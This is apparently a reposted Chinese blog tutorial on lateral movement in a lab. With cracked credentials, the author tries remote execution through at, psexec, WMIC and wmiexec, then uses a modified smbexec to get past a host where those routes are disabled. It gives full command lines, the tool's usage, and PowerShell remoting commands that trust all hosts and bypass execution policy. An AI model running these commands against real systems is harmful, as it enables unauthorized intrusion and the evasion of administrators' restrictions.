zoukankan      html  css  js  c++  java
  • 在远程系统上执行程序的技术整理

    0x00 前言

    上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.

    0x01 目标

    远程登陆目标主机执行测试程序

    0x02 测试环境

    远程主机:

    ip192.168.40.137

    用户名:test

    口令:testtest

    操作系统:win7 x64

    远程登陆方式:

    net use远程登陆,不使用3389

    Tips

    解决工作组环境无法远程登陆执行程序的方法:

    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1

    0x03 测试方法

    1at&schtasks

    计划任务方式执行程序。

    条件:

    启动Task Scheduler服务

    2psexec

    PsTools工具之一,在指定的一台或多台计算机上运行应用程序

    条件:

    需要开放ADMIN$共享

    3WMIC

    功能强大,可做系统管理、远程主机信息获取

    条件:

    启动WMI服务,开放135端口

    本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"

    4wmiexec

    使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。

    条件:

    启动WMI服务,开放135端口

    本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"

    0x04 实际测试

    使用用户名口令远程登陆192.168.40.137,如图1

    查看目标主机共享资源,如图1-2

    1at&schtasks

    at \192.168.40.137

    找不到网络路径,判断是目标主机已禁用Task Scheduler服务

    如图2

    2psexec

    PsExec.exe \192.168.40.137 /accepteula -u test -p testtest -c c: untestcalc.exe

    找不到网络名,判断目标主机已禁用ADMIN$共享

    如图3

    3WMIC

    wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe

    Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

    如图4

    4wmiexec

    cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"

    WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用

    如图5

    0x05 分析

    整理下目前掌握的目标主机信息:

    目标主机:

    1、已获得登陆用户名及口令

    2、可以net use连接

    3、开放共享C

    但是:

    1、默认admin$共享关闭,无法使用psexec

    2Task scheduler关闭,无法使用atschtasks

    3Windows Management Instrumentation服务关闭,关闭135端口无法使用wmicwmiexec

    4、不支持3389

    那么,如何在目标主机远程执行程序?

    猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec,它是基于psexec,如果目标主机开放了其他默认共享,倒是可以尝试smbexec

    于是搜索smbexec,终于在GitHub上面找到了一个smbexecc++参考资料,作为工具改进模版

    模版下载地址:

    https://github.com/sunorr/smbexec

    0x06 改进方案

    模版中的bug不细讲,最终我成功用vc6实现了psexec的功能,同时也做了一些改进:

    1、可指定默认共享名

    为了完成上述测试,加入了参数来指定默认共享,如果ADMIN$共享关闭,那么可以尝试其他磁盘的默认共享

    2、分离安装服务的功能

    在实际测试过程中,如果ADMIN$共享关闭,c$共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至c:windows下, 即可解决权限不够的问题

    0x07 方案测试

    1、工具说明

    文件说明:

    test.exe:主程序

    execserver.exe:实现注册安装服务的辅助程序

    参数说明:

    test.exe ip user password command netshare

    eg:

    test.exe 192.168.40.137 test testtest whoami c$

    2、使用流程

    1)上传execserver.exec:windows

    copy execserver.exe \192.168.40.137c$windows

    2)远程执行

    test.exe 192.168.40.137 test testtest whoami c$

    如图6

    最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。

    程序源码下载链接:

    smbexec_source.zip

    0x08 补充

    1powershell remoting

    实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接

    条件:

    远程连接会有痕迹

    本机要开启winRM服务

    命令汇总:

    列出所有远程信任主机

    powershell Get-Item WSMan:localhostClientTrustedHosts

    设置信任所有主机

    powershell Set-Item WSMan:localhostClientTrustedHosts -Value * -Force

    设置允许运行ps1文件

    powershell Set-ExecutionPolicy Unrestricted

    执行test.ps1文件

    powershell -ExecutionPolicy Bypass -File test.ps1

    ps1文件如下:

    $UserName = "test"

    $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)

    invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }

    2python smbexec

    随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。

    0x09 小结

    这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。

    at

    psexec

    WMIC

    wmiexec

    smbexec

    powershell remoting

    ...

    获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。

    水平有限,欢迎补充。

  • 相关阅读:
    上台阶
    格子游戏
    找同乡
    约德尔测试
    hihocoder_week195奖券兑换
    hihocoder_week197逆序单词
    牛客网--数串
    hihocoder_offer收割编程练习赛55_3
    hihocoder_offer收割编程练习赛55_2
    hihocoder_offer收割编程练习赛55_1
  • 原文地址:https://www.cnblogs.com/h4ck0ne/p/5154609.html
Copyright © 2011-2022 走看看